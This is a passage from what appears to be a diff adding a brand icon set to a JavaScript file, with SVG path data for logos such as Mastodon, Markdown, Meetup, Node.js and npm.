8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z" ], + markdown: [ 640, 512, [], "f60f", "M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z" ], + mastodon: [ 448, 512, [], "f4f6", "M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z" ], + maxcdn: [ 512, 512, [], "f136", "M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z" ], + mdb: [ 576, 512, [], "f8ca", "M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z" ], + medapps: [ 320, 512, [], "f3c6", "M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z" ], + medium: [ 448, 512, [], "f23a", "M0 32v448h448V32H0zm372.2 106.1l-24 23c-2.1 1.6-3.1 4.2-2.7 6.7v169.3c-.4 2.6.6 5.2 2.7 6.7l23.5 23v5.1h-118V367l24.3-23.6c2.4-2.4 2.4-3.1 2.4-6.7V199.8l-67.6 171.6h-9.1L125 199.8v115c-.7 4.8 1 9.7 4.4 13.2l31.6 38.3v5.1H71.2v-5.1l31.6-38.3c3.4-3.5 4.9-8.4 4.1-13.2v-133c.4-3.7-1-7.3-3.8-9.8L75 138.1V133h87.3l67.4 148L289 133.1h83.2v5z" ], + "medium-m": [ 512, 512, [], "f3c7", "M71.5 142.3c.6-5.9-1.7-11.8-6.1-15.8L20.3 72.1V64h140.2l108.4 237.7L364.2 64h133.7v8.1l-38.6 37c-3.3 2.5-5 6.7-4.3 10.8v272c-.7 4.1 1 8.3 4.3 10.8l37.7 37v8.1H307.3v-8.1l39.1-37.9c3.8-3.8 3.8-5 3.8-10.8V171.2L241.5 447.1h-14.7L100.4 171.2v184.9c-1.1 7.8 1.5 15.6 7 21.2l50.8 61.6v8.1h-144v-8L65 377.3c5.4-5.6 7.9-13.5 6.5-21.2V142.3z" ], + medrt: [ 544, 512, [], "f3c8", "M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z" ], + meetup: [ 512, 512, [], "f2e0", "M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z" ], + megaport: [ 496, 512, [], "f5a3", "M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z" ], + mendeley: [ 640, 512, [], "f7b3", "M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z" ], + microblog: [ 448, 512, [], "e01a", "M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z" ], + microsoft: [ 448, 512, [], "f3ca", "M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z" ], + mix: [ 448, 512, [], "f3cb", "M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z" ], + mixcloud: [ 640, 512, [], "f289", "M424.43 219.729C416.124 134.727 344.135 68 256.919 68c-72.266 0-136.224 46.516-159.205 114.074-54.545 8.029-96.63 54.822-96.63 111.582 0 62.298 50.668 112.966 113.243 112.966h289.614c52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74.48-92.2zm-20.489 144.53H114.327c-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.548 7.475 49.838 20.766 19.963 19.963 50.133-10.227 30.18-30.18-14.675-14.398-32.672-24.365-52.053-29.349 19.935-44.3 64.79-73.926 114.628-73.926 69.496 0 125.979 56.483 125.979 125.702 0 13.568-2.215 26.857-6.369 39.594-8.943 27.517 32.133 38.939 40.147 13.29 2.769-8.306 4.984-16.889 6.369-25.472 19.381 7.476 33.502 26.303 33.502 48.453 0 28.795-23.535 52.33-52.607 52.33zm235.069-52.33c0 44.024-12.737 86.386-37.102 122.657-4.153 6.092-10.798 9.414-17.72 9.414-16.317 0-27.127-18.826-17.443-32.949 19.381-29.349 29.903-63.682 29.903-99.122s-10.521-69.773-29.903-98.845c-15.655-22.831 19.361-47.24 35.163-23.534 24.366 35.993 37.102 78.356 37.102 122.379zm-70.88 0c0 31.565-9.137 62.021-26.857 88.325-4.153 6.091-10.798 9.136-17.72 9.136-17.201 0-27.022-18.979-17.443-32.948 13.013-19.104 19.658-41.255 19.658-64.513 0-22.981-6.645-45.408-19.658-64.512-15.761-22.986 19.008-47.095 35.163-23.535 17.719 26.026 26.857 56.483 26.857 88.047z" ], + mixer: [ 512, 512, [], "e056", "M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z" ], + mizuni: [ 496, 512, [], "f3cc", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z" ], + modx: [ 448, 512, [], "f285", "M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z" ], + monero: [ 496, 512, [], "f3d0", "M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z" ], + napster: [ 496, 512, [], "f3d2", "M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z" ], + neos: [ 512, 512, [], "f612", "M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z" ], + nimblr: [ 384, 512, [], "f5a8", "M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z" ], + node: [ 640, 512, [], "f419", "M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z" ], + "node-js": [ 448, 512, [], "f3d3", "M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z" ], + npm: [ 576, 512, [], "f3d4", "M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z" ], + ns8: [ 640, 512, [], "f3d5", "M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.36